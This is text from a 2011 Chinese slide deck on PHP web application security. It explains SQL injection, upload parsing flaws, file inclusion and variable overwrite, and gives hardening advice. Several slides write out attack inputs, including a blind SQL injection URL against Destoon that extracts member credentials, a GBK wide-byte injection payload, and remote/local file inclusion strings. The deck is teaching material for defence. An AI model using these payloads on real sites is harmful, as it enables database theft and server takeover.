  • 9. SQL注入攻击不防范 开启了GPC是否就可高枕无忧? if(!get_magic_quotes_gpc()) { $_GET = daddslashes($_GET); $_POST = daddslashes($_POST); $_COOKIE = daddslashes($_COOKIE); } function daddslashes($string, $force = 1) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } return $string; } 注意键值的过滤 - http://sebug.net/exploit/19574/ 9 http://www.tech-club.org
  • 10. SQL注入攻击与防范 X-Forwarded-For伪造 在PHP5中$_SERVER变量和通过getenv()获取的 变量 没有 magic_quotes_gpc 的保护 因而可以通过伪造X-Forwarded-For来通过服务端 对单引号的过滤,从而达到注入等目的 http://hi.baidu.com/vi0lentangel/blog/item/930af91ab012c90c4034173d.html $HTTP_RAW_POST_DATA与PHP输入、输出流 主要应用与soap/xmlrpc/webpublish功能里 10 http://www.tech-club.org
  • 11. SQL注入攻击不防范 注意解码函数的使用 urldecode - 解码已编码的 URL 字符串 rawurldecode - 对已编码的 URL 字符串进行解码 base64_decode -对使用 MIME base64 编码的数据进行解码 从用户输入中获取编码后的字符 在程序中进行解码时,是否有考虑到应用程序的安全? http://localhost/Destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09a scii(substring((SELECT%09username | password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23 11 http://www.tech-club.org
  • 12. SQL注入攻击不防范 多字符集编码问题 php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处 理的 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字 符串传递给MySQL处理时是作为多字节处理的 //当GPC=ON http://localhost/demo/index.php?username=admin’ http://localhost/demo/index.php?username=admin%df%27 //设置客户端字符集为二进制 mysql_query("SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary", $conn); 12 http://www.tech-club.org
  • 13. 文件上传不目录解析 IIS6目录解析漏洞 aaa.php/1.jpg Apache 文件解析漏洞 aaa.php.zzz nginx文件类型错误解析问题 http://www.80sec.com/nginx-securit.html http://app.travel.ifeng.com/upload/line/2011/03/24/1300948493ce8b.jpg/a.php 这就意味着,可以通过上传图片,在图片中添加可执行代码来获取服务器权限。 这对于一个网站来说,是极为可怕的。 13 http://www.tech-club.org
  • 14. 文件上传不目录解析 如何防范? 客户端+服务端的验证; 替换要创建目录中的”. ”; 重命名上传的文件; 采用可上传文件后缀白名单机制; 审核用户上传的文件 正确的配置文件解析 修改php.ini将cgi.fix_pathinfo设为0 执行php/sbin/php-fpm restart重启。 14 http://www.tech-club.org
  • 15. 文件包含不截断 基本的远程文件包含 <?php include($_GET['file']); ?> 包含远程代码 ?file=http[https][ftp]://www.ab.com/aaa.txt 包含 PHP流 ?file=php://input: 包含 data URIs ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 远程包含需要: allow_url_include=On,所以关闭它可以减低一定的风险 当然同时程序上一样需要进行相应过滤和限制. 15 http://www.tech-club.org
  • 16. 文件包含不截断 本地包含不截断 <?php include("includes/" . $_GET['file']).”.php”; ?> GPC=OFF 下空字符截断 //?file=aaa.jpg%00 操作系统对文件名的长度限制来截断 //?file=aaa.jpg/////// (/的数量大于4096) 16 http://www.tech-club.org
  • 17. 文件包含不截断 如何防范? 对空字符进行转义 过滤”/”,将需包含的文件放到用户丌可达的目录 包含是一个非常危险函数,因此在项目审核中必须对 其逻辑和过滤再次审核. 涉及到的函数〔include(),require()和include_once(),require_once()〕 17 http://www.tech-club.org
  • 18. 变量覆盖问题 可能引起变量覆盖的情况 各种循环; register_globals = on时; extract()这个函数在参数为EXTR_OVERWRITE; parse_str(); mb_parse_str(); import_request_variables(); DedeCMS v5.6-5.7 越权访问漏洞 http://sebug.net/vulndb/20859/ 18 http://www.tech-club.org
  • 19. PHP安全策略 1.安全是没有绝对的 2.任何的用户输入都是有害的 3.使用开源程序的风险 19 http://www.tech-club.org
  • 20. PHP安全策略 WEB服务器安全配置 magic_quotes_gpc=on magic_quotes_runtime=off magic_quotes_sybase=off allow_url_include=off register_globals=off display_error=off 建议开启safe_mode 网站目录的最小权限配置 数据库用户最小权限配置 WEB不数据库分离 20 http://www.tech-club.org
  • 21. PHP安全策略 应用程序安全策略 丌要信任服务器的配置 过滤的用户输入 关闭错误报告 审核你的应用程序 21 http://www.tech-club.org
  • 22. That’s All,Thx! Mason [Tech Club] At 2011-08-28 QQ:31972184, E-mail:Mason@V5Script.ORG http://www.weibo.com/phpext 22 http://www.tech-club.org